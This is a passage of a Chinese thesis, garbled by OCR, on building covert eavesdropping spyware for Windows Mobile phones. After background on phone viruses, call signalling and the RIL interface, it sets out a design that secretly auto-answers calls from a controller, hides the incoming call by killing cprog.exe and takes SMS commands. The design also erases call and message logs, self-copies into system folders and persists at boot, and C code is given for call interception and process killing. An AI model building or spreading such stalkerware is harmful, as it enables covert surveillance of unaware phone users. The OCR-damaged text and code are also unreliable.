排、各种网络帐号和密码、来往短信、银行帐号和密码等。窃取信息型手机病毒的目标就是这些信息。这些病毒一旦达到手机,就会将手机上的各种信息传播出去,泄漏手机用户的隐私。②传播非法信息型病毒传播非法信息型病毒的主要方式是彩信,彩信的出现极大的方便了各种信息的传播,比如色情信息和图片、非法宗教信息等。13 第二章相关技术③破坏型病毒破坏型病毒最主要的工作就是破坏手机的软件、操作系统甚至硬件,使得死机或频繁重启,无法正常工作。④阻碍通讯型病毒这类病毒一旦感染手机,就会强制手机不断的向所在的通讯网络发送垃圾信息,导致通讯网络堵塞。⑤吸金型病毒这类病毒会让宿主手机不断的拨打电话,发送短信,或上网耗费流量,使手机话费高涨。第二节智能手机的语音通话原理通话是手机最基本的功能,话语业务也是移动通信的重要业务,而话语业务主要是由移动通信的重要应用——数字移动通信技术来实现的。2.2.1数字移动电话系统的组成数字移动电话系统就是一个完整的移动电话通信系统,主要包含四个部份:移动电话、基地站系统、移动业务交换中心和运行维护中心。另外,移动电话系统还有一个数据库,主要包括两个部分,”认证中心(AUC)和设备识别器(EIR)。这两个部分都十分重要,认证中心主要是提供一个和用户有关的安全方面的鉴别参数和加密密匙给本地用户位置登记器;设备识别器的主要功能是检查和验证移动电话的设备识别码(IMEI)。设备识别码(IMEI,InternationalMobileEquipmentIdentity)是国际移动设备身份码的简称,是由一串15位的数字组成的”电子串号”。设备识别码全世界唯一且与每一部手机一一对应,每一部手机在组装完成后即被赋予这个全球唯一的15位号码,这个号码从生产到交付使用都将被厂商所记录,就像Pc的MAC地址一样。所以设备识别器检查移动电话的设备识别码能防止非法使用偷盗的、有故障的、未经许可的移动通信设备。设备识别器连接到移动业务交换中心,移动业务交换中心利用设备识别器来检查手机使用的设备识别码的有效性㈨291。2.2.2数字移动电话的工作过程1.开机入网14 第二章相关技术手机开机后第一步操作就是选择网络,根据手机设定,选择手动或自动方式选择网络。然后手机在已经选定的网络中寻找合适的小区,并调谐到该小区的控制频点。如果需要,手机还将进行国际移动用户识别码(IMSI)附着或位置更新。选择小区后,手机继续测量,如果发现更好的小区,则重选小区。每次当手机从无网络信号覆盖的盲区回到有网络信号覆盖地区时,手机都将重新选网【30J。2.移动用户的被叫当移动用户进行呼叫行为时,有两个对象参与此次呼叫,拨打电话的一方被称为主叫方,接电话的一方是被叫方,移动用户的呼nq/被叫过程是这样的:(1)呼叫寻找。主叫方拨打被叫方的电话号码,这个电话号码在移动业务交换中心被转换为国际移动用户识别码(IMSI),然后基地站通过控制信道发出这个呼叫信息。(2)寻呼响应。处于开机状态的移动电话一旦从基地站的下行控制信道上收到自己的电话识别码,就通过随机接入信道向基地站发响应信号,基地站收到该信息后传给移动通信交换中心,然后根据信息中心的位置登记信号,确定移动电话处于哪一个无线小区。(3)建立连接。通过允许接入信令,移动业务交换中心为移动电话指配一个独立的专用控制信道,建立起能识别的移动用户身份通道和各种数据,最后控制系统给这个移动电话分配一个业务信道。(4)摘机通话。至此,通话业务建立,主叫方和被叫方可以进行通话。3.移动用户的主叫(1)发出呼叫信号。移动电话按键拨号时,先将电话号码存入移动电话的存储器内,按发送键后这个号码被传送给基地站,基地站交给移动交换中心。(2)建立连接。移动交换中心首先对拨号移动电话的标识码进行验证,无权用户不予理睬。(3)通话。后面的过程类似于被叫过程,最后建立通话。第三节WindowsMobile技术2.3.1WindowsMobile平台15 第二章相关技术WindowsMobile是人们熟悉的Windows桌面向个人设备的扩展,是移动版的Windows,是微软公司为设备PocketPC与Smartphone专门定制的软件平台。WindowsMobile平台有3种分支:WindowsMobileClassic、WindowsMobileProfessional和WindowsMobileStandard。目前大部分WindowsMobile手机采用的是版本6.1,最新版本是WindowsPhone7。WindowsMobile平台的原型是WindowsCE。WindowsCE是微软公司嵌入式、移动计算平台的基础,是一个32位的开放的、可升级的嵌入式操作系统,是基于掌上电脑类的电子设备是操作系统。WindowsMobile兼容WindowsCE。2003年以前的WindowsMobile系统的版本分为两种:PocketPC和SmartPhone,之后改成现在的名称:WindowsMobileClassic、WindowsMobileProfessional和WindowsMobileStandard。2005年9月5日微软公司发布了WindowsMobile5.0操作系统,它是基于WindowsCE5.0系统的改进,相对于前期版本增加了许多功能:存储系统上的改进、第三方程序和用户文件在电池完全耗尽后仍能被保留、加入了部分.Netframework2.0的特征、添加部分office应用软件、虚拟的GPS端口、自动指定GPS程序的接入、简化了WiFi和蓝牙的设置【3川。2007年2月12日微软在巴塞罗那推出WindowsMobile6.0版本,其内核为WindowsCE5.2,有着与WindowsVista相似的操作界面,分三个版本:●WindowsMobileClassic,传统掌上电脑,PDA.·WindowsMobileProfessional,掌上电脑型智能手机。●WindowsMobileStandard,即智能手机,SmartPhone.2009年2月15日,微软公司在全球移动通信大展上发布了WindowsMobile的最新版本,WindowsMobile6.5,后又改名叫WindowsPhone7,宣告了WindowsMobile系列彻底退出手机操作系统市场。全新的WindowsPhone7完全放弃了WindowsMobile5,6x的操作界面,并且两者的程序互不兼容。WP7十分强大,界面类似Pc的Windows,电脑同步十分方便。2.3.2WindowsMobileSDK要在WindowsMobile平台上进行开发工作就必须用到WindowsMobileSDK,它是微软公司手机操作系统的专用开发工具包,在微软公司的官方网站上可以免费下载到各个版本。另外VisualStudio开发工具里面也集成了Windows16 第二章相关技术MobileSDK,不同版本的VisualStudio集成了对应版本的WindowsMobileSDK。微软公司提供给开发人员的所有IDE和SDK都是基于COM规范的,所以都向下兼容。VS2005中集成了SDK5.0,开发者可以重新安装6.0版本,同样的使用VS2005进行开发。WindowsMobileSDK提供了很多工具,包括开发过程中所必须的模拟器、头文件、库文件、帮助文档,还有一些与各种应用开发有关的例程,SDK为开发人员提供了方便的开发环境和强大的帮助支持。WindowsMobile6.0之前的SDK是以特定的设备类型为目标,不同的设备类型使用不同的SDK。而WindowsMobile6的SDK不是这样,它只将设备分为两类,具有触摸屏的设备和不具有触摸屏的设备,对这两类不同的设备提供两个版本的WindowsMobile6SDK。其中WindowsMobile6ProfessionalSDK为具有触摸屏的设备(PocketPC和PocketPCPhoneEdition)提供支持,WindowsMobile6StandardSDK为不具有触摸屏的设备(称为Smartphone)提供支持。表2.1介绍了WindowsMobile6设备和WindowsMobile6SDK之间的关系。表2-1WindowsMobile6和WindowsMobile6SDK之间的关系表WindowsMobile6操作系统对应的WindowsMobile6SDKWindowsMobile6StandardWindowsMobile6StandardSDKWindowsMobile6ProfessionalWindowsMobile6ProfessionalSDKWindowsMobile6ClassicWindowsMobile6ClassicSDK第四节WindowsMobile上的语音呼叫2.4.1AT指令AT指令是一种调制解调器命令语言。AT是Attention的缩写,它是从数据终端设备(DataTerminalEquipment,DTE)或终端设备(TerminalEquipment,TE)向数据电路终端设备(DataCircuitTerminalEquipment,DCE)或终端适配器(TerminalAdapter,TA)发送的一种指令,用来控制移动台(MobileStation,MS)的功能,17 第二章相关技术与GSM网络业务交互。AT指令可以进行电话呼叫、短信、电话簿、数据业务等方面的控制。在90年代初,AT指令仅被用于操作Modem,还不能控制移动电话文本消息等。现在AT指令已经被所有调制解调器制造商采用,并成为一种标准。每条命令以字母‘‘AT”开头,AT后跟字母和数字表明具体的功能‘321。例如:●AT+CMGS发送信息命令。·ATD拨号命令。●ATH挂机命令。·ATA接电话命令。●AT+CPOF关机命令。2.4.2R]L介绍1.RIL概述RIL是无线接口层(RadioInterfaceLayer)的缩写,它是提供移动通讯核心(cellcore)和无线硬件设备(modem)之间通讯的控制接口,由此适应不同无线网络,集成不同的无线硬件设备。RIL由RlL代理(RILproxy)和RIL驱动(RILdriver)两部分组成。RILproxy微软已经提供,它是一个基于CE的动态链接库r.|.dlI,它的作用是可以让多个应用访问各自的单个rildriver。RILdrive微软没有提供,需要自己实现。RILdriver的主要功能是向系统提供无线服务,包括语音、数据和SMS服务,同时也及时响应无线状态的改变,例如信息强度、所在服务区和来电信号等。RIL还有~个叫做Rilproxylogging的可选部件,它是一个动态连接库rillog.dll,boot的时候r.I.d|I会加载它【331。2.RIL和语音呼叫(1)RIL呼出语音呼叫蜂窝电话服务提供者(TSP)通常使用RIL拨出或接通语音通话,这个过程就像是远程访问服务(RAS)。在RIL呼出语音呼叫的过程中,蜂窝电话服务提供者TSP和RIL驱动依次完成以下步骤:①调用电话应用程序接口(TAPI)的函数:lineMakeCall0或lineDial()函数初始化一个呼叫。②TSP在拨号状态中创建一个TAPI呼叫。18 第二章相关技术③TSP调用函数RIL_SetAudioDevices()来设置RIL_AUDIO—HANDSET的值为呼入呼出同时的设备。此函数执行成功的返回值是RIL_RESULT_OK。④连接管理器通过TAPI的函数R|L-GetAudioMuting()来获取静音状态。⑤TSP调用RIL_CalI(),使用IOCTL—RIL—DIAL—IOCL参数,这时RIL—IOControl会被调用。⑥RILdriver向无线发送拨号命令,无线知道拨号已经初始化。⑦RILdriver返回对拨号命令的响应:RIL—RESULT-oK。⑧RILdriver生成RIL_CALLTYPE_VOICE和RIL—NOTIFY—CONNECT两个变量。⑨TSP等待呼叫进入RIL_CALLSTAT_ACTIVE模式。在等待过程中循环调用RIL_GetCallList()函数。如果在用户请求呼出语音呼叫时,数据连接已经是活动的了,此时会有两种情况。第一种情况,若此数据连接是不可挂起/不可恢复的,连接管理器将请求中断此数据连接,并且在呼出语音呼叫前等待无线关于中断此数据连接的结果。在无线没有断开该数据连接前,呼出的语音呼叫是不会呼叫的。第二种情况,若此数据连接是可挂起/可恢复的,连接管理器先将数据连接设为挂起状态,然后呼出语音呼叫【441。(2)RIL呼入语音呼叫接收过程蜂窝TSP和RIL驱动接收呼入的语音呼叫一般有以下步骤:①无线检测到呼入呼叫。②RIL产生RILNOTIFYRING消息和已经赋值的RILRINGINFO结构体。③RIL产生RILNOTIFYCALLERID消息和已经赋值的RILREMOTEPARTYINFO结构体。④TAPI调用函数RIL_GetLineStatus()获得呼叫状态,返回结果RIL—RESULT—OK和指向RlL—LINESTAT—RINGING常量的指针IpData。此步骤可能重复发生多次。⑤连接管理器使用TAPI函数RIL-GetAudioMuting()获得静音状态,返回值是RIL_RESULT_OK(FALSE:非静音)。此步骤可能重复发生多次。⑥TAPI调用函数RILGetCallList()得到有效的呼叫列表。返回值是RIL—RESULT—OK和指针IpData,该指针指向已经被赋值的结构体RILCALLINFO。⑦用户应答,TAPI调用函数RIL_Answer()。19 第二章相关技术⑧无线应答这个呼叫。⑨RILdriver返回RILRESULTOK和空指针IpData做为应答指令。⑩RILdriver先后产生RIL—NOTIFY—CONNECT和RIL—CALLTYPE—VOICE两个常量。⑩TSP调用函数RIL_SetAudioDevices()设置RIL_AUDIO—HANDSET,使设备具有输入/输出音频。返回值RILRESULTOK。◎TAPI调用函数RIL_GetLineStatus()来验证呼叫是否被应答。如果被应答,返回值RILRESULTOK和指向RILLINESTATCALLINPROGRESS结构常量的指针IpData。如果在连接管理器通过TAPI接收到来电通知时,数据连接已经是活动的了,在接受收电话前连接管理器会先请求断开数据连接,并且等待无线返回断开的响应。如果数据连接一直没有断开,那么来电始终不能到达。如果数据连接具有挂起/恢复能力,无线会将数据连接转到挂起状态。一般情况下如果语音呼叫已经初始化,那么之后不能建立低优先级的连接,但是在特殊情况下也可能发生。比如数据连接请求在来电到达连接管理器的通知前发生。这种情况下,由于两种连接不能同时建立,所以数据连接会被拒绝,合理的语音呼叫会被支持。另一种能是语音呼叫和数据连接都被拒绝掉,但这可能给用户不好的体验。一些程序可能不通过连接管理器而直接请求无线连接。如果请求的连接使用了无线资源,连接管理器就会检测到此连接,并且生成一个内部伪装的连接对象,这个对象具有比数据连接高、比连接管理器中语音连接低的优先级。如果接受到一个语音呼叫请求,那么连接管理器就会断开这个伪装的连接,一量检测到伪装的连接已经断开,语音呼叫就会被建立。(3)RIL语音呼叫断开过程挂掉RIL语音呼叫,蜂窝TSP和RILdrier需要完成以下步骤:①无线检测到远程断开,将常量IpData赋值为RIL—DISCINIT—REMOTE和RIL_NOTIFY_DISCONNECT。②TAPI调用函数RIL_GetCallList()来查询哪个呼叫的状态被改变了。③TSP调用函数RILsetAudioDevices()设置RIL_AUDIO—NONE,令设备具有音频输入和输出功能。如果成功,返回值为RILRESULTOK。④连接管理器通过调用函数RIL_GetAudioMuting()设置静音状态,返回值是RILRESULTOK(TRUE:静音)。20 第二章相关技术由于智能手机的操作系统的多样性,本文无法实现出一种通用的、能够在各个操作系统上运行的语音监听软件,所以本文在学习了手机各个操作系统的体系结构后,提出了一个通用的智能手机的语音监听模型,该模型包含四个模块,分别是:监听模块,负责模型的监听部分,实时监听就在这个模块;控制模块,负责模型的控制部分,与监控方的交互就在这个模块;隐藏模块,主要是负责软件的隐藏,不被用户发现;服务模块,保证软件时刻处于服务状态。为了验证上述模型的可行性,本文在模型的指导下,选择WindowsMobile作为开发平台,实现了一个语音监听软件的实例。21 第三章智能手机语音监听软件需求分析第一节智能手机的语音监听目标要求本文所研究的智能手机的语音监听技术,是指如何在手机用户不知晓的情况下,令手机成为一个窃听器,向监控方源源不断的传输手机周围的语音信息的技术。这个过程不依靠任何硬件技术或任何附加通信工具,仅仅采用软件的方式来完成。也就是说,本文需要研究的内容是如何制作一个手机窃听软件,这个软件拥有十分先进的窃听技术,当软件在手机中运行的时候,控制方可以随时控制该软件,实时获取该软件的宿主手机周围的语音信息,且不被手机用户发现。这个软件必须有合理的模块和框架,体积小,便于种植;耗能少,不被手机用户发现异常;实时监听,以便获取实时的信息;可以被控制方远程控制。例如,被安装了该语音监听软件的手机用户在进行非法行为之前的计划(假设该计划是通过几人的对话完成的)时,将手机放置在一边,然后,本文所设计的语音监听软件必须可以在监控方的控制下,将手机用户的在制定非法行为计划时的对话全部实时的传递给监控方知晓。由硬件来实现的监听方式有美国的手机监听器和手机监听卡。手机监听器的是指一个具有监听其它手机功能的手机,它的原理是在手机的硬件中加入了卫星导航芯片,能同时监控多部手机,搜索监听,拦截信号。手机监听卡不是一般通常使用的SIM卡,它是以GPS和SIM卡相兼容所制,此卡2GB超大容量的智能芯片,里面装有一个快速解码及破译的软件程序和超大容量的内存空间。将此卡插进手机里面输入对方的号码,在5—8分钟内就可将对方的密码和PIN码破译出来,破译出来的密码和PIN码将会自动储存在卡中。然后对方在通话的过程中,可以进行谈话的内容的监听和GPS卫星定位【9】。通过软件实现的手机语音监听一般有三种方式,录音上传方式,主动监听方式和被动监听方式。录音上传方式主要是指被监听手机开启录音功能,将周围声音录下并上传到指定服务器,监听方只要登陆服务器就可以获取录音,监听软件DaddysEye是这种方式的代表。这种监听方法的主要缺点是录音和上传的方式需要耗费一些时间,监听方不能实时监听被监听方的声音。被动监听是指被22 第三章智能手机语音监听软件需求分析监听手机主动向监听手机拨打电话,将周围声音通过电话的方式传送给监听手机。这种监听方式的缺点是监听方对于被监听手机没有控制权。主动监听是指监听方主动向被监听手机拨打电话,被监听手机自动接通电话周围声音传输给监听方知晓。目前采用此种监听方式的较出色的软件有源于泰国的“X卧底”和08年诞生的“WinCE.Flexispy.A”病毒【1Ⅲ。本文的智能手机语音监听目标较为单一具体,即系统目标是:①能有效地实现实时监听。②静默监听,不被手机用户发现。③占用资源少,不产生明显的手机响应延迟。④开机启动,无错漏服务时间。⑤监控方能有效的实行远程控制。⑥模块精简,功能独立,实现监听效率最大化。第二节语音监听器功能需求智能手机语音监听软件功能与常见的管理系统系统的功能也不同,其功能需求没有复杂的业务流程,也比较单一和具体。系统总体用例如下图3—1所示,即系统主要由监听功能、自身隐藏功能、控制功能以及服务功能组成。图3.1智能手机语音监听总体用例语音监听模块是整个语音监听模型的核心模块,主要完成监听功能。当控制方打电话给被控制用户时,就由此监听模块拦截控制方的电话,不让被控制23 第三章智能手机语音监听软件需求分析手机显示来电信息,并自动接通电话,建立监听链接,以达到实时、有效、隐蔽的监听效果。其用例如下图3—2所示。图3-2智能手机语音监听模块用例控制模块主要是辅助监控方实现对手机上的监听软件进行控制的目的。比如监控方的手机号码要发生改变,监控方需要提前向监听软件通知更改信息,以便监听软件更改配置,这部分功能就是依靠控制模块实现的。控制模块接收控制方的短信,依据短信内容,更改配置信息,并通知监控方是否更改成功。如图3.3所示。图3-3智能手机语音监听控制模块用例服务模块的主要功能是保证监听软件能提供有效的服务,无错漏服务时间。为此,该模块必须拥有开机启动,后台运行,崩溃重启,或是定时启动等功能。如图3—4所示。24 第三章智能手机语音监听软件需求分析图3.4智能手机语音监听服务模块用例隐藏模块主要负责监听软件的自我隐藏功能,软件自我隐藏的目的是为了不让手机用户发现。如图3.5所示。图3.5智能手机语音监听模块隐藏用例25 第四章智能手机的语音监听软件的设计智能手机语音监听软件需要有好的监听模型来指导设计和实现,所以本文主要面临的问题是如何建立这样的一个语音监听模型,该模型能够指导该语音监听软件的实现。第一节设计目标前面几章主要介绍了智能手机及其相关知识,包括移动通信技术、智能手机的硬件和软件相关、智能手机的操作系统和智能手机的语音通话原理。通过上面的技术知识,本文很清楚的认识到,由于智能手机操作系统多样,体系结构各不相同,本文不可能设计出一个能够在各个系统上通用的语音监听软件,所以本文的主要任务是提出一个智能手机的语音监听模型,由该模型来指导各个手机操作系统上的语音监听软件的开发,使得开发的语音监听软件能具有以下的特点:①能有效地实现实时监听。②静默监听,不被手机用户发现。③占用资源少,不产生明显的手机响应延迟。④开机启动,无错漏服务时间。⑤监控方能有效的实行远程控制。⑥模块精简,功能独立,实现监听效率最大化。第二节总体设计根据以上的设计目标,本文拟定采用主动监听的监听路线,再在主动监听的路线上设计语音监听模型。所谓主动监听,就是监听方能主动控制监听软件什么时候运行,什么时候隐藏,以便不错漏重要信息并实现更好的隐藏性:相对的,被动监听就是由监听软件本身决定什么时候监听,什么时候不监听,而监控方只能配合监听软件的工作,对监听软件没有任何控制权。基于主动监听的具体监听方案是这样的:监听软件一直运行在手机后台,随时等待监听方的控制命令;监听方需要监听时,直接拨打被监听手机的电话号码,监听软件得26 第四章智能手机的语音监听软件的设计到监听方的来电信息后,主动做一些处理,隐藏监听方的来电信息,并以被监听用户不能发觉的方式接通电话,此时建立的监听方与被监听用户之间的语音链接就是监听方的监听信道;监听方无需监听,即挂断电话;监听方需要更改监听软件的设置,可以通过发送特定格式的短信来完成;监听软件为了不错漏监听时间,必须具有随着手机开机即启动的功能。智能手机的语音监听模型方案如图4-1所示:接受命令更改设置接收信号实现监听自动隐藏开机启动清理痕迹控制命令(短信)监听命令(电话)智能]:利l图4.1智能手机语音监听模型方案图根据图4.1的模型设计方案,智能手机的语音监听模型必须具有以下功能模块:1.监听模块此模块是整个语音监听模型的核心模块,主要完成监听功能。当控制方打电话给被控制用户时,就由此监听模块拦截控制方的电话,不让被控制手机显示来电信息,并自动接通电话,建立监听链接,以达到实时、有效、隐蔽的监听效果。2.控制模块该模块主要是辅助监控方实现对手机上的监听软件进行控制的目的。比如监控方的手机号码要发生改变,监控方需要提前向监听软件通知更改信息,以便监听软件更改配置,这部分功能就是依靠控制模块实现的。控制模块接收控制方的短信,依据短信内容,更改配置信息,并通知监控方是否更改成功。3.隐藏模块该模块主要负责监听软件的自我隐藏功能,软件自我隐藏的目的是为了不让手机用户发现。比如,监听软件达到被监听手机时,需要首先寻找一个隐蔽27 第四章智能手机的语音监听软件的设计的地方将自己隐藏起来,以防止手机用户的发现和删除;当监听方进行监听或是发短信给被监控手机进行配置修改后,该模块必须负责清理痕迹,删除通话记录和信息记录,以防手机用户发现软件的存在。4.服务模块该模块的主要功能是保证监听软件能提供有效的服务,无错漏服务时间。为此,该模块必须拥有开机启动,后台运行,崩溃重启,或是定时启动等功能。根据以上的功能模块信息,智能手机语音监听模型的功能模块结构如图4.2所示:图4—2语音监听模型功能模块结构图第三节详细功能设计1、监听模块的详细功能设计监听模块的主要功能是拦截来电信息,对比来电号码,隐藏来电提示和自动接听电话。监听模块的模块结构如图4—3所示:28 第四章智能手机的语音监听软件的设计图4—3监听模块的模块结构图智能手机的来电信息是由基带处理器首先获取的,它经过处理后,在用AT指令传递给应用处理器。在应用处理器上,来电信息是由下层硬件向上层软件逐层传递的,最后传递给手机操作系统。应用处理器上的操作系统得到来电信息后,调用电话管理程序提示用户有来电。电话管理程序是智能手机上专门管理电话信息的一个系统软件,它主要负责与电话相关的一切工作,比如来电时候的铃声、界面,通话记录和拨打电话时候的拨打界面等。监听模块要达到无声监听的效果,必须做到两点,一是比电话管理程序更先获取来电信息,二是隐藏电话管理程序的来电提示。基于上面的设计路线,监听模块的主要设计思想是,监听模块和手机操作系统同时获取来电信息,获取来电信息后,在第一时间隐藏系统的来电提示,不让用户发现手机有来电。然后监听模块从来电信息中获取来电号码,与从配置文件中读出的监控方号码对比,若不是监控方来电,监听模块恢复来电提醒,提醒用户正常接听电话;若是监控方来电,监听模块自动接通电话,此时用户也不会发现手机上建立了一个隐蔽的监听电话连接。29 第四章智能手机的语音监听软件的设计本文在设计监听模块时,为了保证电话拦截处理的过程尽可能不对用户的正常接电话产生影响,所以监听软件必须尽可能早的获取电话信号,然后对比号码,因此电话信号的拦截应尽量放在操作系统底层。2、隐藏模块的详细功能设计隐藏模块主要负责语音监听软件的隐藏问题,这个模块做得好,手机监听软件才能安全的存在被监控用户的手机中执行监听功能,所以这个模块必须考虑周全。隐藏模块必须在监听软件到达用户手机的时候,将本身拷贝到某个隐蔽目录隐藏起来,并进行多次自我复制以防止手机用户删除某个拷贝;其次当监控方打电话过来监控后,隐藏模块必须负责删除电话记录,防止通过通话记录发现监控软件的存在,类似的,当监控方发短信对监听软件后进行设置修改后,隐藏模块必须负责消除短信记录;最后,如果在实时监控的过程中,用户突然拿起手机进行操作,隐藏模块必须负责隐藏监控这一事件,这个也是隐藏模块必须实现的功能。隐藏模块的功能结构如图4-4所示:图4—4隐藏模块的模块结构图隐藏模块的4个功能分别是自我复制,删除通话记录,删除控制短信和隐藏监控事件,这4个功能是相互独立的,它们可以单独被监听软件需要的部分调用,与软件的其他模块相互配合,保证语音监听软件的隐蔽性。3、控制模块的详细功能设计控制模块是语音监听模型的重要组成部分之一,它的存在是为了让监控方更好的控制软件,监控被监控用户的动态。它主要负责更改语音监听软件的配30 第四章智能手机的语音监听软件的设计置,比如更改软件隐藏的默认目录,更改监控方电话号码配置,并将更改的结果以短信的形式发送给监控方知晓。与监听模块不同,监听模块主要在于对来电的操作,而控制模块主要是对短信的操作。智能手机接收短信的过程与接受来电的过程基本类似,也是由手机的基带处理器从基站获取信息,经过处理后用AT指令发送给应用处理器,然后短信在应用处理器自下向上传递,最后由短信管理程序向用户提示短信到来。不同的是,来电信号在操作系统上的是以广播的形式传播的,也就是说,只要运行在应用处理器上面的操作系统接受到了来电信息,那么所有与电话有关的程序都会得到它广播的来电信息。而短信在手机操作系统上面的传递不是广播传递法,而是逐层向上传播,只要在短信管理程序之前拦截到了短信,且不向上传播,短信管理程序就无法得到短信。所以控制模块的主要设计思想是:控制模块在短信管理程序得到短信之前拦截短信,并判断该短信是否是由监控方发送过来的控制短信,如果不是,则将短信照原本的方式向上层传递,传递给短信管理程序以提示用户有短信到;如果是控制短信,则依据短信内容修改语音监听软件的配置,将修改是否成功的回复信息用短信的形式发送给监控方知晓。根据控制模块的设计思想,控制模块的组成如图4—5所示:图4-5控制模块的模块结构图3l 第四章智能手机的语音监听软件的设计4、服务模块的详细功能设计服务模块主要是一些附加功能,这些功能主要是为监听软件的正常功能服务的,是为了保证监听软件能提供有效的服务而设计的。服务模块首先必须保证监听软件一直在后台运行,除了手机关机,监听软件无法实现监听外,其余时间监听软件都不得暂停服务,必须随时响应监控方的指示,这样,服务模块就必须保证监听软件能够开机启动和崩溃重启。服务模块的结构如图4-6所示:图4-6服务模块的模块结构图与隐藏模块类似,服务模块的各个组成部分也是相互独立的,它们单独被其他模块调用,达到辅助监听软件的目的。32 第五章智能手机的语音监听软件的实现第一节语音监听器的实现首先,本实例整体上是基于一个无界面的控制台程序,所以在新建项目的时候项目类型选择智能手机,项目模板在VisualStudio已安装的模板中选择Win32智能设备项目,给项目起名为Monitor,选择存放目录,然后点击确定,进入Win32智能设备项目向导。Win32智能设备项目向导的“平台”设置中,从已安装的SDK中选择WindowsMobile6Professional,点击下一步进入项目设置,在应用程序类型中选择台程序,至此,完成智能设备项目的的新建。5.1.1监听模块监听模块是本语音监听软件的核心模块。为了尽早的拦截电话信号以便和控制方的手机号码比对判断,本文将监听模块的拦截信号部分放在了RIL层,而不是TAPI层,因为RIL工作在手机的底层,负责AT指令的发送、数据传输、提供网络支持,接收及解析、支持上层通讯应用程序的VoiceCall、SMS等。可以说,RIL是手机通信系统的软件层面的最底层。本软件在WindowsMobile的RII.建立监听,等待来电信号的来临,一旦有来电信号,立即关闭WindowsMobile的电话管理程序cprog.exe,然后从来电信息中获取来电方的号码,与监控方号码比对,如果是监控方号码,则在RIL层直接接通电话,如果不是,则打开电话管理程序cprog.exe。监听模块的详细流程图如图5.1所示:33 第五章智能手机的语音监听软件的实现是图5-1监听模块的流程图监听模块的具体实现过程:(1)RIL监听WindowsMobile6.0SDK里面没有带的RIL库,必须自己下载r.I.h和riI.Iib,然后将其添加进Monitor工程。RIL的使用方法主要有4个部分:34 第五章智能手机的语音监听软件的实现①用函数RILInitialize初始化RILHRILg_hRil;HRESULThr=RIL_lnitialize(1,RilResultProc,RilNotifyProc,RILNCLASS—CALLCTRL,NULL,&g_hRil);②函数RIL—Initialize初始化一个客户端使用的riI,并为该ril提供一个结果回调函数和通知回调函数。③实现函数RilResultProcRilResultProc是r.1的结果回调函数,该函数里面的内容是对ril运行的结果的响应和处理,在本软件中,函数内容为空。voidCALLBACKRilResultProc(DWORDdwResultCode,HRESULThrCommandlD,constvoid宰pData,DWORDdwDataSize,DWORDdwParam){return;)实现函数RilNotifyProcRilNotifyProc是通知回调函数,是本软件重点要实现的函数,这个函数的内容是对RIL收的通知或是消息进行处理。本软件在这个函数的框架是这样的:voidCALLBACKRilNotifyProc(DWORDdwNotifyCode,constvoid章pData,DWORDdwDataSize,DWORDdwParam){HKEYhCallStateKey=NULL;HRESULThrHangup=0:RILCALLINFO幸calllnfo;WCHARwszAddress[MAXLENGTH_ADDRESS];RILADDRESSraAddress;WCHAR幸ret;switch(dwNotifyCode){caseRIL_NOTIFY_RING://这个消息说明检测到来电KillcprogO;//关闭进程cprog.exe的函数break;35 第五章智能手机的语音监听软件的实现息caseRIL..NOTIFY..CALLERID:break;caseRIL—NOTIFY—cALLPRoGREssINFo://这个消息说明获取了来电信//获取来电电话号码calllnfo=(RILCALLINFO幸)pData;raAddress=calllnfo一>raAddress;memset(wszAddress,0,MAXLENGTH_ADDRESS);StringCchPrintfW(wszAddress,MAXLENGTH—ADDRESS,LII%s”,raAddress.wszAddress);的判断break;defauIt:break;//如果电话号码为空,说明状态或,不是状态,不需要做下面if(wszAddress[O】!-’\0’)//比较电话号码ret=wcsstr(wszAddress,wszSet);//如果是预定号码,则接通来电jf(ret!=NULL)RIL-Answer(g_hRil);//如果不是预定号码,则开启cprog.exeelse{//此处是开启进程cprog.exe的函数Startcprog();36 第五章智能手机的语音监听软件的实现J)④卸载RIL在程序结束的时候,必须先卸载riI,然后退出程序。卸载的代码为:RIL_Deinitialize(g——hRil);(2)关闭电话管理程序cprog.exe关闭进程的函数的原理很简单,首先为系统中所有的进程创建一个快照,然后在快照中逐个进程的寻找cprog.exe直至找到,然后关闭进程cprog.exe。关闭电话进程的流程图如图5—2所示:37 第五章智能手机的语音监听软件的实现图5-2关闭电话进程的流程图关闭电话进程的流程图的代码如下:BOOLKillcprog(){HANDLEhProList;//声明进程列表句柄PROCESSENTRY32proEnt;//声明一个进程信息快照的结够体3R 第五章智能手机的语音监听软件的实现DWORDBOOLWCHARProcesslD=0;//进程IDRET;sBuf[20];BOOLbSuccess:FALSE;//为进程使用的模块[MODULE】、堆[HEAP]、线程[THREAD】)建立一个快,照[snapshot],从中获取进程列表:hProList=(HANDLE)createTooIhelp32Snapshot(TH32cS—SNAPPROCESSITH32CS—SNAPNOHEAPS,(DWORD)NULL);proEnt.dwSize=sizeof(PROCESSENTRY32);//获取进程列表中的第一个进程结构RET=Process32Flrst(hProList,&proEnt);while(RET){//获取进程结构里的进程名字wcscpy(sBuf,proEnt.szExeFile);II笋-U断进程是不是cprog.exe,直至找到进程cprog.exeif(!一wcsicmp(-T(”cprog.exe”),sBuf)){ProcessID=proEnt.th32ProcessIDjHANDLEps=OpenProcess(1,false,ProcesslD);}}关阕cprog.exeTerminateProcess(ps,一9);bSuccess=TRUE;break;)RET=Process32Next(hProList,&proEnt);}//关闭进程快照CloseHandIe(hProList);returnbSuccess;)39 第五章智能手机的语音监听软件的实现(3)打开电话管理程序cprog.exe与关闭进程cprog.exe相比,启动进程十分简单。BOOLStartcprog(){BOOLbSuccess=FALSE;PROCESS—INFORMATIONProcessInformation;//声明一个进程结构信息//创建cprog.exe进程,并将进程相关的信息存入结构体PROCESSINFORMATION中if(CreateProcess(—T(”\\Windows\\cprog.exe”),NULL,NULL,NULL,FALSE,OxO,NULL,NULL,NULL,&Processlnformation)){bSuccess=TRUE;)else{bSuccess=FALSE;)returnbSuccess;)5.1.2控制模块控制模块的原理与监听模块的原理类似,不同的是监听模块在RIL拦截的是短信,而不过拦截的是短信而非电话。5.1.3隐藏模块隐藏模块主要负责隐藏这个语音监听软件,主要包含4个部分,互相独立,为整个软件调用,这4个部分依次是:自我复制,删除通话记录,删除控制短信和隐藏控制事件。(1)自我复制自我复制的功能就是在别的目录中复制自己的一份拷贝,在这个WindowsMobile平台上,本语音监听实例选择在将自己隐藏在系统目录\Windows下,自40 